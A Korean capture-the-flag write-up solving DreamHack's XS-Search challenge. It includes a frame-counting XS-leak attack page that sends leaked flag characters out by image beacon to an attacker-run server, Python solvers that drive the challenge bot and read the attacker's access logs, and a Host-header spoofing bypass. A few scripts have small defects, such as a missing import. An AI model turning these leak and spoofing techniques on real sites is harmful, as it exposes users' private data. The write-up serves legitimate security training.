[🥇 Gold 3] 응답을 한 글자도 못 읽는데 flag 32자가 새는 이유 — DreamHack XS-Search 풀이

{% if result %}
  <h3>Searching "{{ query }}" found</h3>
  <iframe srcdoc="<pre>{{ result }}</pre>"></iframe>
{% elif query %}
  <h3> Searching "{{ query }}" not found</h3>
{% endif %}

FLAG = open("./flag.txt", "r").read()
 
notes = {
    (FLAG, True),
    ("Hello World", False),
    ("DreamHack", False),
    ("carpe diem, quam minimum credula postero", False)
}

@app.route('/search')
def search():
    query = request.args.get('query', None)
    if query == None:
        return render_template("search.html", query=None, result=None)
    for note, private in notes:
        if private == True and request.remote_addr != "127.0.0.1" and request.headers.get("HOST") != "127.0.0.1:8000":
            continue
        if query != "" and query in note:
            return render_template("search.html", query=query, result=note)
    return render_template("search.html", query=query, result=None)

def read_url(url, cookie={"name": "name", "value": "value"}):
    ...
    driver.implicitly_wait(3)
    driver.set_page_load_timeout(3)
    driver.get(url)

if private == True and request.remote_addr != "127.0.0.1" and request.headers.get("HOST") != "127.0.0.1:8000":
    continue

제외 = private ∧ (remote_addr ≠ 127.0.0.1) ∧ (Host ≠ 127.0.0.1:8000)
통과 = ¬제외 = (remote_addr = 127.0.0.1) ∨ (Host = 127.0.0.1:8000)

#!/bin/bash
# app.py:65 의 skip 조건이 정말 OR 로 풀리는지 로컬 컨테이너(remote_addr=172.17.0.1)로 확인한다.
#   skip  = private and remote_addr != 127.0.0.1 and Host != 127.0.0.1:8000
#   include = remote_addr == 127.0.0.1  OR  Host == 127.0.0.1:8000
T=http://127.0.0.1:9000/search
 
echo "### [A] 그냥 외부 요청 (Host: 127.0.0.1:9000)"
curl -s "$T?query=DH%7B" | grep -E "found|<pre>"
 
echo
echo "### [B] Host 헤더만 127.0.0.1:8000 으로 위조"
curl -s -H 'Host: 127.0.0.1:8000' "$T?query=DH%7B" | grep -E "found|<pre>"
 
echo
echo "### [C] 대조군 — 공개 노트는 [A] 에서도 보인다"
curl -s "$T?query=DreamHack" | grep -E "found|<pre>"

<script>
// 표적 검색 페이지는 매치했을 때만 <iframe srcdoc=...> 를 심는다.
// 교차 출처라 본문은 못 읽지만 window.length(=frames.length) 는 언제나 읽힌다.
// 그 값 하나로 "이 접두사가 flag 에 들어 있나"를 묻는 오라클을 만든다.
const TARGET = 'http://127.0.0.1:8001/search?query=';
const CHARS = '0123456789abcdef}'.split('');
const out = document.getElementById('out');
 
function probe(q) {
  return new Promise(res => {
    const f = document.createElement('iframe');
    f.src = TARGET + encodeURIComponent(q);
    f.onload = () => {
      const n = f.contentWindow.frames.length;   // ← 교차 출처에서도 읽히는 유일한 값
      f.remove();
      res(n);
    };
    document.body.appendChild(f);
  });
}
 
(async () => {
  let prefix = 'DH{';
  for (let pos = 0; pos < 40; pos++) {
    const counts = await Promise.all(CHARS.map(c => probe(prefix + c)));
    const hit = CHARS.filter((c, i) => counts[i] > 0);
    const line = CHARS.map((c, i) =>
      `<span class="${counts[i] > 0 ? 'hit' : 'miss'}">${c}:${counts[i]}</span>`).join(' ');
    out.innerHTML += `[${String(pos).padStart(2, '0')}] ${prefix.padEnd(36)} ${line}\n`;
    if (hit.length !== 1) { out.innerHTML += '  ! 한 글자로 안 좁혀짐\n'; return; }
    prefix += hit[0];
    if (hit[0] === '}') break;
  }
  document.getElementById('flag').textContent = 'FLAG = ' + prefix;
})();
</script>

<script>
// XS-Search 공격 페이지.
//   ?p=<지금까지 확정한 접두사>&s=<세션 태그>
// 한 번의 봇 방문에서 후보 17개(0-9a-f 와 '}')를 iframe 으로 동시에 띄우고,
// 각 iframe 의 frames.length 를 읽어 hit/miss 를 비컨으로 흘린다.
(function () {
  var qs = new URLSearchParams(location.search);
  var prefix = qs.get('p') || 'DH{';
  var sid = qs.get('s') || 'x';
  var CHARS = '0123456789abcdef}'.split('');
  var BASE = 'http://127.0.0.1:8000/search?query=';
 
  function beacon(msg) {
    var img = new Image();
    img.src = '/wargame-attacker/b.gif?s=' + encodeURIComponent(sid) +
              '&m=' + encodeURIComponent(msg) + '&z=' + Math.random();
  }
 
  beacon('start|' + prefix);
 
  CHARS.forEach(function (c) {
    var q = prefix + c;
    var f = document.createElement('iframe');
    f.style.display = 'none';
    f.src = BASE + encodeURIComponent(q);
    f.onload = function () {
      var n;
      try { n = f.contentWindow.frames.length; } catch (e) { n = 'ERR'; }
      beacon('r|' + q + '|' + n);
    };
    document.body.appendChild(f);
  });
})();
</script>

#!/usr/bin/env python3
"""봇이 흘린 비컨(nginx 액세스 로그)을 후보별 frames.length 표로 되돌린다."""
import re
import subprocess
import sys
import urllib.parse
 
sid = sys.argv[1] if len(sys.argv) > 1 else "p0"
log = subprocess.run(["ssh", "kali", f"cat {LOG}"],
                     capture_output=True, text=True).stdout
 
rows, ip = [], ""
for line in log.splitlines():
    m = re.search(r"GET /wargame-attacker/b\.gif\?([^ ]+)", line)
    if not m:
        continue
    qs = urllib.parse.parse_qs(m.group(1))
    if qs.get("s", [""])[0] != sid:
        continue
    ip = line.split()[0]
    parts = qs.get("m", [""])[0].split("|")
    if parts[0] == "r":
        rows.append((parts[1], parts[2]))
 
print(f"봇 egress IP = {ip}   (세션 태그 {sid})")
print(f"{'query':<8}{'frames.length':>14}   판정")
for q, n in sorted(rows):
    print(f"{q:<8}{n:>14}   {'← 매치! 이 글자다' if n != '0' else 'miss'}")

#!/usr/bin/env python3
"""XS-Search(443) 의도된 해법 — frame counting XS-leak 로 flag 를 한 글자씩 복원한다.
 
봇(/submit)에게 우리 페이지를 열게 하면, 그 페이지가 봇의 브라우저 안에서
http://127.0.0.1:8000/search?query=<후보> 를 iframe 으로 띄운다.
검색이 매치하면 결과 페이지에 <iframe srcdoc=...> 가 하나 생기므로
교차 출처에서도 읽히는 frames.length 가 1 이 되고, 못 맞추면 0 이다.
그 값을 img 비컨으로 우리 nginx 로그에 흘려 받는다.
 
봇 컨테이너를 아끼기 위해 후보 17개(0-9a-f, '}')를 한 번의 방문에서 동시에 재고,
방문 사이에는 최소 5초를 쉰다.
"""
import re
import subprocess
import sys
import time
import urllib.parse
import urllib.request
 
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:18313"
ATTACKER = os.environ["WG_ATTACKER"] + "/wargame-attacker/xs.html"   # Kali VM + 터널
LOG = "~/atk_xs/access.log"                                          # 그 서버의 접근 로그
CHARS = "0123456789abcdef}"
 
 
def read_log():
    out = subprocess.run(["sudo", "-n", "cat", LOG], capture_output=True, text=True)
    return out.stdout
 
 
def beacons_for(sid, since_len):
    """sid 태그가 붙은 비컨만 골라 (query, frames.length) 로 돌려준다."""
    text = read_log()[since_len:]
    got = {}
    for line in text.splitlines():
        m = re.search(r"GET /wargame-attacker/b\.gif\?([^ ]+)", line)
        if not m:
            continue
        qs = urllib.parse.parse_qs(m.group(1))
        if qs.get("s", [""])[0] != sid:
            continue
        msg = qs.get("m", [""])[0]
        parts = msg.split("|")
        if parts[0] == "r" and len(parts) == 3:
            got[parts[1]] = parts[2]
    return got
 
 
def visit(url):
    """봇에게 URL 을 방문시킨다. 응답의 alert 문구가 성공/실패를 알려준다."""
    body = urllib.parse.urlencode({"url": url}).encode()
    req = urllib.request.Request(TARGET + "/submit", data=body,
                                 headers={"Content-Type": "application/x-www-form-urlencoded"})
    with urllib.request.urlopen(req, timeout=30) as r:
        return r.read().decode(errors="replace").strip()
 
 
def probe(prefix, sid, wait=6.0):
    mark = len(read_log())
    url = f"{ATTACKER}?p={urllib.parse.quote(prefix)}&s={sid}"
    t0 = time.time()
    resp = visit(url)
    time.sleep(wait)
    got = beacons_for(sid, mark)
    print(f"  bot={resp[:40]!r} {time.time()-t0:.1f}s  비컨 {len(got)}개")
    return got
 
 
def main():
    prefix = "DH{"
    for pos in range(40):
        sid = f"p{pos}"
        print(f"[{pos:2d}] prefix={prefix!r}")
        got = probe(prefix, sid)
        hits = [q[-1] for q, n in got.items() if n not in ("0", "ERR")]
        misses = sum(1 for n in got.values() if n == "0")
        print(f"     miss={misses}  hit={hits}")
        if len(hits) != 1:
            print("     ! 한 글자로 좁혀지지 않음 — 중단하고 로그 확인")
            return 1
        prefix += hits[0]
        print(f"     => {prefix}")
        if hits[0] == "}":
            print(f"\nFLAG = {prefix}")
            return 0
        time.sleep(5)
    return 1
 
 
if __name__ == "__main__":
    sys.exit(main())

tail -18 xsleak_run.log

#!/usr/bin/env python3
"""XS-Search(443) — Host 헤더 하나로 private 노트 필터를 통과시켜 flag 를 읽는다.
 
app.py 의 제외 조건이 and 로 이어져 있어서, 드모르간을 풀면
'remote_addr 이 루프백이거나 **또는** Host 가 127.0.0.1:8000 이면' 검색 대상에 들어간다.
Host 는 우리가 정하는 요청 헤더다.
 
  python3 solve.py http://host3.dreamhack.games:15703
"""
import re
import sys
import urllib.request
 
TARGET = (sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:15703").rstrip("/")
 
req = urllib.request.Request(
    TARGET + "/search?query=DH%7B",
    headers={"Host": "127.0.0.1:8000"},   # ← 이 한 줄이 전부다
)
html = urllib.request.urlopen(req, timeout=20).read().decode()
 
print("[*] 대상 :", TARGET)
print("[*] 응답에서 결과 영역만:")
for line in html.splitlines():
    if "found" in line or "<pre>" in line:
        print("   ", line.strip())
 
m = re.search(r"DH\{[0-9a-f]{32}\}", html)
print("\n[+] FLAG =", m.group(0) if m else "(못 찾음)")
sys.exit(0 if m else 1)